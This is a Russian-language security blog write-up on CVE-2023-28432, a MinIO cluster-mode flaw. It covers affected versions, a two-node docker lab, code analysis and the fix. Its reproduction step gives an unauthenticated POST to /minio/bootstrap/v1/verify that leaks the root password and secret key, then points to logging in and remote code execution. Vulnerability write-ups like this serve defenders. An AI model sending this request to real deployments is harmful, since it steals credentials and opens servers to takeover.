Подпишитесь на нас ❤️, добавьте звездочку 🌟 и учитесь безопасности вместе!
Автор: akunda@Timeline Sec
Количество символов: 882
Время чтения: 2~3 минуты.
Заявление: Это только для ознакомления, пожалуйста, не используйте его в незаконных целях, в противном случае вы будете нести ответственность за последствия.
0x01 Введение
MinIO — это высокопроизводительное объектное хранилище, выпущенное на основе GNU Affero General Public License v3.0. Совместим с API службы облачного хранения Amazon S3. Создайте высокопроизводительную инфраструктуру для машинного обучения, аналитики и рабочих нагрузок данных приложений с помощью MinIO.
0x02 Обзор уязвимостей
Номер уязвимости: CVE-2023-28432. В режиме кластера некоторые интерфейсы MinIO возвращают все переменные среды, включая MINIO_SECRET_KEY и MINIO_ROOT_PASSWORD, из-за неправильной обработки информации, что приводит к утечке конфиденциальной информации. Это затрагивает всех пользователей, использующих распределенные развертывания.
0x03 Затронутые версии
RELEASE.2019-12-17T23-16-33Z <= MinIO < RELEASE.2023-03-20T20-16-18Z
0x04 Настройка среды
1. Локальная среда разработки: 2 Ubuntu, докер.
2. Измените файлы /etc/hosts Ubuntu1 и Ubuntu2 и добавьте следующий контент.
192.168.31.254 minio-1
192.168.31.231 minio-2
3. Загрузите образы на Ubuntu1 и Ubuntu2 соответственно.
docker pull minio/minio:RELEASE.2023-03-13T19-46-17Z
4. Запустите докер на Ubuntu1 и Ubuntu2 соответственно.
docker run -d --name minio-01 --restart=always --net=host -e MINIO_ACCESS_KEY=minio -e MINIO_SECRET_KEY=minio123 -v /root/minio/update:/data1 -v /root/minio/bakup:/data2 minio/minio:RELEASE.2023-03-13T19-46-17Z server --address 192.168.31.254:9000 http://minio-{1...3}/data{1...2}
docker run -d --name minio-02 --restart=always --net=host -e MINIO_ACCESS_KEY=minio -e MINIO_SECRET_KEY=minio123 -v /root/minio/update:/data1 -v /root/minio/bakup:/data2 minio/minio:RELEASE.2023-03-13T19-46-17Z server --address 192.168.31.231:9000 http://minio-{1...3}/data{1...2}
5. Посетите http://192.168.31.254:9000, после чего автоматически перейдете на консоль.
0x05 Повторение уязвимости
1. Отправьте следующий пакет данных и успешно получите учетную запись и пароль minio.
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: 192.168.xx.xx:9000
2. Используйте полученный аккаунт и пароль для входа в консоль и далее используйте RCE
0x06 Анализ уязвимостей
1. Проверьте информацию о маршрутизации в /cmd/bootstrap-peer-server.go и убедитесь, что функция, соответствующая интерфейсу /minio/bootstrap/v1/verify, — это VerifyHandler.
2. Следуйте VerifyHandler, здесь вызовите getServerSystemCfg, чтобы получить некоторую информацию, а затем верните ее в формате json.
3. Выполните getServerSystemCfg, который считывает переменные среды, а затем возвращает их.
0x07 Как это исправить
Передайте запрос в StorageServerRequestValidate для аутентификации.
Справочные ссылки:
https://github.com/AbelChe/evil_minio
https://www.h3c.com/cn/d_202304/1830808_30003_0.htm
Рекомендуемые услуги
Прочтите оригинальную статью, чтобы увидеть больше повторяющихся статей.
Команда службы безопасности
На пути к безопасности идти рядом с вами